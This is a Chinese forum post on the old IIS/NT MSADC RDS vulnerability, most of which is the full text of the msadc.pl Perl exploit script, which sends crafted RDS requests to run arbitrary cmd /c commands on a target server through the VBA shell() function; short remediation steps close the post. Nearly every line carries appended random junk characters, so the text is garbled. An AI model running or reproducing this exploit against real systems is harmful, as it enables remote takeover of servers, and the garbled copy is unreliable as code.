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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) gCc::[}\Y  
/\|AHM  
涉及程序: ?q+^U>wy&  
Microsoft NT server i>n)T  
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描述: p:q?8+W-r  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $Hbd:1%i {  
VA0p1AD  
详细: [^GXHE=  
如果你没有时间读详细内容的话,就删除: XZ!^kftyW  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ,zU7UL^I  
有关的安全问题就没有了。 WnZn$N.  
:OvTZ ?\  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,I|TjC5  
YsXf+_._  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 r>gU*bs(  
关于利用ODBC远程漏洞的描述,请参看: (jB_uMuS  
NY!"?Zko  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,.T k "\@  
[n{c,U F  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A*_ |/o  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )+xHv  
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这里不再论述。 \"W _\&X  
u*i[A\Y  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: N J_#;t#j  
wSP'pM{#2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 0?d}Oj  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 5u3SP?.&  
qD/X%`>Q  
.B|a.-oA4  
#将下面这段保存为txt文件,然后: "perl -x 文件名" M<"H1>q@  
Af%#&r7W  
#!perl M~k2Y$}R  
# ]iL>Zxex  
# MSADC/RDS 'usage' (aka exploit) script *dE5yS`H  
# :UdH}u!Ek  
# by rain.forest.puppy  y+.E}  
# yJ!x`RD),w  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me tfb_K4h6,  
# beta test and find errors! GVl TW?5  
ui#K`.dn  
use Socket; use Getopt::Std; &XE eJ  
getopts("e:vd:h:XR", \%args); 4|[)D/N  
QN$Ac.F  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; o#ajBOJ  
xIh,UW#  
if (!defined $args{h} && !defined $args{R}) { T nG=X:+=  
print qq~ KeiPo KhZi  
Usage: msadc.pl -h <host> { -d <delay> -X -v } :VEy\ R>W  
-h <host> = host you want to scan (ip or domain) xp<p(y8e1d  
-d <seconds> = delay between calls, default 1 second DeTD.)pS  
-X = dump Index Server path table, if available &z"sT*3  
-v = verbose loPBHoE3@H  
-e = external dictionary file for step 5 ~'aK[3  
:P1/kYg  
Or a -R will resume a command session !tL&Ktoj  
Zc Y* TGx  
~; exit;} 21\t2<"  
!O-9W=NJ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Skn2-8;10  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -6./bB g  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ahJu+y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,*Z:a 4  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} -WX{ y Ci  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } MH8Selnv  
L% cr `<~  
if (!defined $args{R}){ $ret = &has_msadc; nB+ e2e&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} C@8WY  
qIIl,!&}A  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" +@c-:\K%  
. "cmd /c "; DoYzTSWx  
$in=<STDIN>; chomp $in; yA#-}Y|]b  
$command="cmd /c " . $in ; > l@ o\  
wK[Xm'QTPJ  
if (defined $args{R}) {&load; exit;} U;Ne"Jh  
Q:4euhz*  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; qr~= S  
&try_btcustmr; }1/`<m  
,9:0T LLR  
print "\nStep 2: Trying to make our own DSN..."; `p. O  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; PN&;3z Z  
jdF~0#vH  
print "\nStep 3: Trying known DSNs..."; ~>( N<:N  
&known_dsn; 8a SH0dX  
WO=,NQOw  
print "\nStep 4: Trying known .mdbs..."; i[wEH1jR  
&known_mdb; Vg+jF!\7  
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if (defined $args{e}){ 4Nx]*\\  
print "\nStep 5: Trying dictionary of DSN names..."; [x.Dw U%S  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } &oyj8  
Ef2#}%>  
print "Sorry Charley...maybe next time?\n"; o/U"'FP  
exit; \?X'U:  
^8#;>+7R  
############################################################################## D\ H) uV`  
a &89K  
sub sendraw { # ripped and modded from whisker ]ZjydQjo )  
sleep($delay); # it's a DoS on the server! At least on mine... -'9sn/  
my ($pstr)=@_; l"-F<^ U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %?7j Q  
die("Socket problems\n"); u9 yXHf  
if(connect(S,pack "SnA4x8",2,80,$target)){ XZk?aik}`  
select(S); $|=1; 9W[ ~c"Ku  
print $pstr; my @in=<S>; I>jDM  
select(STDOUT); close(S); ?\l@k(w4[x  
return @in; ]5=C3Y  
} else { die("Can't connect...\n"); }} # [0>wEq  
'#fwNbD  
############################################################################## @zHTKi`  
?+WSYg0  
sub make_header { # make the HTTP request ,X2CV INb}  
my $msadc=<<EOT ?_+h+{/@B  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 '*PJ-=G  
User-Agent: ACTIVEDATA Yc*Ex-s  
Host: $ip k7\h- yn{  
Content-Length: $clen VZ:L K  
Connection: Keep-Alive %z_PEqRj  
fs=W(~"  
ADCClientVersion:01.06 :]viLw\&g  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 j(;o   
_qPd)V6yb  
--!ADM!ROX!YOUR!WORLD! \2K_"5  
Content-Type: application/x-varg BZP~m=kq  
Content-Length: $reqlen m'Thm{Y,?n  
`XJU$c  
EOT r3hUa4^97  
; $msadc=~s/\n/\r\n/g; -]?F  
return $msadc;} v$H]=y  
3%JPJuNVw  
############################################################################## m R3km1T  
7|"gMw/  
sub make_req { # make the RDS request `oxs;;P  
my ($switch, $p1, $p2)=@_; BtZycI  
my $req=""; my $t1, $t2, $query, $dsn; 8u401ddg  
l9%oKJ;  
if ($switch==1){ # this is the btcustmr.mdb query qOV6Kh)  
$query="Select * from Customers where City=" . make_shell(); pErre2fS  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ,MtN_V-  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {M5[gr%  
W+'|zhn  
elsif ($switch==2){ # this is general make table query #Zm%U_$<  
$query="create table AZZ (B int, C varchar(10))"; F`3J=AJOJ  
$dsn="$p1";} L0Fhjbc  
(oYM}#Q  
elsif ($switch==3){ # this is general exploit table query Z5vpo$l  
$query="select * from AZZ where C=" . make_shell(); YB}p`b42L  
$dsn="$p1";} ]Y%?kQ^  
8mCL3F  
elsif ($switch==4){ # attempt to hork file info from index server ~ [por  
$query="select path from scope()"; er0hf2N]  
$dsn="Provider=MSIDXS;";} >|Hd*pg))  
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elsif ($switch==5){ # bad query "uz}`G~O  
$query="select"; ZkyH<Aa  
$dsn="$p1";} }538vFNi  
6+MZ39xC  
$t1= make_unicode($query); gZFtV  
$t2= make_unicode($dsn); H^N@fG<*dh  
$req = "\x02\x00\x03\x00"; bGl5=`  
$req.= "\x08\x00" . pack ("S1", length($t1)); IXmtjRv5  
$req.= "\x00\x00" . $t1 ; H'L ~8>  
$req.= "\x08\x00" . pack ("S1", length($t2)); )<D(Mb 2p|  
$req.= "\x00\x00" . $t2 ; LV:`si K  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; +=5Dt7/|  
return $req;} k0=$mmmPY  
K#B)@W?9  
############################################################################## M-Az2x;6  
<fJ*{$[p  
sub make_shell { # this makes the shell() statement $_6DvJ0  
return "'|shell(\"$command\")|'";} H)s$0Xd  
L y!!+UM\  
############################################################################## 8H>: C (h  
_pX y}D  
sub make_unicode { # quick little function to convert to unicode Z|FWQ8gZ4m  
my ($in)=@_; my $out; ;+dB-g[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } =]pcC  
return $out;} Ax=k0%M[&  
`dH[&=S  
############################################################################## ;_yp@.,\T  
l3sL!D1u  
sub rdo_success { # checks for RDO return success (this is kludge) -NG`mfu  
my (@in) = @_; my $base=content_start(@in); '$]u?m  
if($in[$base]=~/multipart\/mixed/){ PQmgv&!DP  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ; 7`y##  
return 0;} 0 ttM_]#q  
"Q:m0P xb  
############################################################################## vGK'U*gGD  
`YDe<@6'  
sub make_dsn { # this makes a DSN for us B rGaCja  
my @drives=("c","d","e","f"); D (MolsKc?  
print "\nMaking DSN: "; ?lh `>v  
foreach $drive (@drives) { 6#/Riu%  
print "$drive: "; pq"3)+3:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . , qj  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !+?,y/*5(  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 9Bl c  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; IH;+pN  
return 0 if $2 eq "404"; # not found/doesn't exist AXV+8$ :R  
if($2 eq "200") { : -@o3Syg  
foreach $line (@results) { z@lUaMm:F  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} !BN7 B  
} return 0;} fIo7R-XP  
%)7HBj(*J  
############################################################################## /7$3RV(  
s V70a 3#  
sub verify_exists { !5rja-h  
my ($page)=@_; `TM[7'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :nuMakZZ  
return $results[0];} Yg5m=Lis  
{iGk~qN  
############################################################################## niZ/yW{w  
@$R[Js%MuO  
sub try_btcustmr { 9rr"q5[  
my @drives=("c","d","e","f"); p}qNw`  
my @dirs=("winnt","winnt35","winnt351","win","windows"); QRs!B!Fn0  
1C[j:Ly/  
foreach $dir (@dirs) { DwXzmp[qWH  
print "$dir -> "; # fun status so you can see progress a'f0Wv0%"  
foreach $drive (@drives) { *5DOTWos  
print "$drive: "; # ditto [p%@ pV  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; MLV_I4o  
$reqlenlen=length( "$reqlen" ); 6Q&R,"!$p  
$clen= 206 + $reqlenlen + $reqlen; U*G9fpVy  
rrGsam\.  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); .JNU3%s  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} fmDU  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} fqaysy  
s6k,'`.  
############################################################################## aB9Pdu t  
ZyBNo]  
sub odbc_error { rz c}2I  
my (@in)=@_; my $base; :T5p6:  
my $base = content_start(@in); nu {bEp  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this *I0{1cST  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WH F>J  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qRMH[F$`  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Jsee8^_~  
return $in[$base+4].$in[$base+5].$in[$base+6];} P 0xInW F  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; \`N%77A  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Gld|w=qr  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m^dKww  
-ec ~~95  
############################################################################## bP%0T++vo  
B;A^5~b  
sub verbose { ][8ZeM9&p  
my ($in)=@_; =;.#Bds  
return if !$verbose; `3!ERQU  
print STDOUT "\n$in\n";} 9QaEUy*,  
#t /.fd  
############################################################################## 3%Jg' Tr+  
d[+xLa  
sub save { sy+o{] N  
my ($p1, $p2, $p3, $p4)=@_; g>h5NrD N  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; jHPJk8@y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; e[fzy0  
close OUT;} sidSY8j  
j_PICv*6  
############################################################################## L1"y5HJ  
k;v2 3  
sub load { | fAt[e_E  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4e d+'-"m  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Sr)rKc  
@p=<IN>; close(IN); q^],K'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Zfyr& ]"  
$target= inet_aton($ip) || die("inet_aton problems"); jIx5_lFe  
print "Resuming to $ip ..."; cT abZc  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >jjuWO3T  
if($p[1]==1) { unqX<6hu  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; f $MVgX  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; %\?2W8Qv_J  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); KQ<pQkhv  
if (rdo_success(@results)){print "Success!\n";} ,?;q$Xoi  
else { print "failed\n"; verbose(odbc_error(@results));}} )>q.!"B  
elsif ($p[1]==3){ tp2CMJc{L  
if(run_query("$p[3]")){ ;\=W=wL(  
print "Success!\n";} else { print "failed\n"; }} 8M m,a  
elsif ($p[1]==4){ S/CT;M@W  
if(run_query($drvst . "$p[3]")){ "WOY`su>  
print "Success!\n"; } else { print "failed\n"; }} GH2D5HVN  
exit;} +OkR7bl  
'`^<*;w  
############################################################################## -[?q?w!?  
T69'ta32V  
sub create_table { HVzG }r(J  
my ($in)=@_; 'ypJGm  
$reqlen=length( make_req(2,$in,"") ) - 28; @)mH"u!(7  
$reqlenlen=length( "$reqlen" ); K1O0/2O  
$clen= 206 + $reqlenlen + $reqlen; kQXtO)  
my @results=sendraw(make_header() . make_req(2,$in,"")); 1P&XG@  
return 1 if rdo_success(@results); 3IHya=qN  
my $temp= odbc_error(@results); verbose($temp); aF4vNUeG  
return 1 if $temp=~/Table 'AZZ' already exists/; ^y"Rdv  
return 0;} }YHoWYR  
_|.q?;C]$  
############################################################################## n0#HPI"  
;wCp j9hir  
sub known_dsn { ?#^(QR|/  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go P`wp`HI  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", w^09|k  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", T!eb=oy  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Jq)!)={  
#imMkvx?  
foreach $dSn (@dsns) { {,p<!Jq~G  
print "."; qy6zHw  
next if (!is_access("DSN=$dSn")); R iid,n  
if(create_table("DSN=$dSn")){ RrSo`q-h+  
print "$dSn successful\n"; \M M(w&  
if(run_query("DSN=$dSn")){ TfK$tTkM  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5!,`LM9  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0%.l|~CE&  
HErTFY+vC  
############################################################################## 2bU 3*m^M  
U]Q2EL\%  
sub is_access { {zhN>n_  
my ($in)=@_; (</cu$w>H)  
$reqlen=length( make_req(5,$in,"") ) - 28; OpmI" 4{+  
$reqlenlen=length( "$reqlen" ); j E_a ++  
$clen= 206 + $reqlenlen + $reqlen; O$+J{@  
my @results=sendraw(make_header() . make_req(5,$in,"")); ;cIs$  
my $temp= odbc_error(@results); v0`E lkaN  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); hp6S *d  
return 0;} =if5$jE3  
OL&ku &J_  
############################################################################## L2Uk/E  
"Q]`~u':  
sub run_query { 8E1swH5 z  
my ($in)=@_; 3=V79&  
$reqlen=length( make_req(3,$in,"") ) - 28; ,dK<2XP  
$reqlenlen=length( "$reqlen" ); 01q5BQ7u  
$clen= 206 + $reqlenlen + $reqlen; 1Iu^+  
my @results=sendraw(make_header() . make_req(3,$in,"")); x7 jE Ns )  
return 1 if rdo_success(@results); e"P>b? OY  
my $temp= odbc_error(@results); verbose($temp); :a(er'A  
return 0;} aLTC#c%U  
!u@e^J{Ao  
############################################################################## 09pnM|8A  
ai[st+1  
sub known_mdb { WP7*Q:5  
my @drives=("c","d","e","f","g"); 4Y8/>uL  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 62Yi1<kV@  
my $dir, $drive, $mdb; 9r!psRA:`)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; io^^f|  
Ul7)CT2:  
# this is sparse, because I don't know of many JSQNx2VqQ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", VqLqj$P  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ;_)&#X,?(  
"\\system32\\certmdb.mdb", LDHuf<`  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% B'B,,Mz  
K"-.K]O8E%  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", H\AJLk2E  
"\\cfusion\\cfapps\\forums\\forums_.mdb", -L(F:  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", :Zl@4}  
"\\cfusion\\cfapps\\security\\realm_.mdb", `qp[x%7^  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", S1NM9xHJ  
"\\cfusion\\database\\cfexamples.mdb", vFXih'=_  
"\\cfusion\\database\\cfsnippets.mdb", @D&VOJV  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", .p&4]6  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", uG@Nubdwuy  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5Og.:4  
"\\cfusion\\database\\smpolicy.mdb", ,Hn{nVU1R=  
"\\cfusion\\database\cypress.mdb", w=I8f}(  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 5O<7<O B  
"\\website\\cgi-win\\dbsample.mdb", E\&~S+:Xp  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", gq4le=,v  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }$r/#F/Fn  
); #these are just vL(7|K  
foreach $drive (@drives) { J@w Q3#5a  
foreach $dir (@dirs){ eS9uKb5n(  
foreach $mdb (@sysmdbs) { ` WIv|S  
print "."; ;QQLYT  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .~qu,q7k~  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; TyVn5XHl^  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ IGEs1  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; U~QIO O  
} else { print "Something's borked. Use verbose next time\n"; }}}}} > !k  
XqMJe'%r  
foreach $drive (@drives) { &=y)C/u  
foreach $mdb (@mdbs) { deO/`  
print "."; l -us j%\  
if(create_table($drv . $drive . $dir . $mdb)){ -bT1Qh X  
print "\n" . $drive . $dir . $mdb . " successful\n"; <5 G+(vP  
if(run_query($drv . $drive . $dir . $mdb)){ #-kG\}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; >AI65g  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8?AFvua}r  
} `8xt!8Z$  
:it52*3=  
############################################################################## 7<['4*u  
1*<m,.$  
sub hork_idx { jh \L)a*  
print "\nAttempting to dump Index Server tables...\n"; W3K?K-  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Q[J%  
$reqlen=length( make_req(4,"","") ) - 28; F[mL_JU  
$reqlenlen=length( "$reqlen" ); e>\[OwF-x  
$clen= 206 + $reqlenlen + $reqlen; uuW._$.A>  
my @results=sendraw2(make_header() . make_req(4,"","")); ," ~ew ,  
if (rdo_success(@results)){ =Is.T  
my $max=@results; my $c; my %d; YNV4w{>FD  
for($c=19; $c<$max; $c++){ #]pFE.o  
$results[$c]=~s/\x00//g; T7_i: HU%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;  oZTKG'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 45fk+#  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ;2 -%IA,  
$d{"$1$2"}="";} }DiMt4!ZC!  
foreach $c (keys %d){ print "$c\n"; } 9B gR@b  
} else {print "Index server doesn't seem to be installed.\n"; }} QQ^P IQj  
v?Q&06PMRc  
############################################################################## -:]_DbF  
~LqjWU  
sub dsn_dict { swEE >=  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); BMMWP   
while(<IN>){ <Uf?7  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^"N]i`dIF  
next if (!is_access("DSN=$dSn")); kX!TOlk3  
if(create_table("DSN=$dSn")){ H.#<&5f  
print "$dSn successful\n"; R@_i$Df|  
if(run_query("DSN=$dSn")){ c+P.o.k;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  uaN0X"  
print "Something's borked. Use verbose next time\n";}}} (F9U`1~4  
print "\n"; close(IN);} -)_"7}|u5  
seO7/h_a  
############################################################################## KLi&T mIB  
R+Q..9 P  
sub sendraw2 { # ripped and modded from whisker >.^/Z/[.L  
sleep($delay); # it's a DoS on the server! At least on mine... I[u%k ir  
my ($pstr)=@_; $2N)m:X0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || uh#"4-v  
die("Socket problems\n"); HAJK%zLc  
if(connect(S,pack "SnA4x8",2,80,$target)){ CYD&#+o  
print "Connected. Getting data"; t/xWJW2  
open(OUT,">raw.out"); my @in; w+c%Y\:  
select(S); $|=1; print $pstr; ]Q-*xho  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} <pzCpF<  
close(OUT); select(STDOUT); close(S); return @in; hJ[Z~PC\T0  
} else { die("Can't connect...\n"); }} !Wn^B|  
@}sxA9 a  
############################################################################## eiE36+'>b  
b7&5>Q/ g  
sub content_start { # this will take in the server headers t@dv$W2 "  
my (@in)=@_; my $c; wJ 0KI[p(S  
for ($c=1;$c<500;$c++) { (Q~ p"Ch  
if($in[$c] =~/^\x0d\x0a/){ d'Cn] <  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } iupuhq$ ]  
else { return $c+1; }}} >p"ytRu^  
return -1;} # it should never get here actually }U-h^x'  
'*K}$+l  
############################################################################## "tax  
Qf0]7  
sub funky { 701ei;   
my (@in)=@_; my $error=odbc_error(@in); -js:R+C528  
if($error=~/ADO could not find the specified provider/){ ;VVKn=X=S=  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :5`=9 _|  
exit;} `a *_b9  
if($error=~/A Handler is required/){ 7OSk0%Q,  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;A^Ii>`  
exit;} t2V|moG  
if($error=~/specified Handler has denied Access/){ $J]VY;C!  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,ru2C_LQ  
exit;}} k0[b4cr`  
'vbrzI5m  
############################################################################## $,Q0ay  
Vu6$84>-,  
sub has_msadc { A{3VTe4TV  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 3.[ fTrzJ  
my $base=content_start(@results); #6w\r&R6  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %NH#8#';2  
return 0;} O"%b@$p\L  
3QNu7oo  
######################## |"t)#BUtL  
V $'~2v{_  
 hsYS<]  
解决方案: U tb"6_   
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll M.b1=Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =8`!Ph@(  
$hND!T+;  
拿出来充数 哈哈
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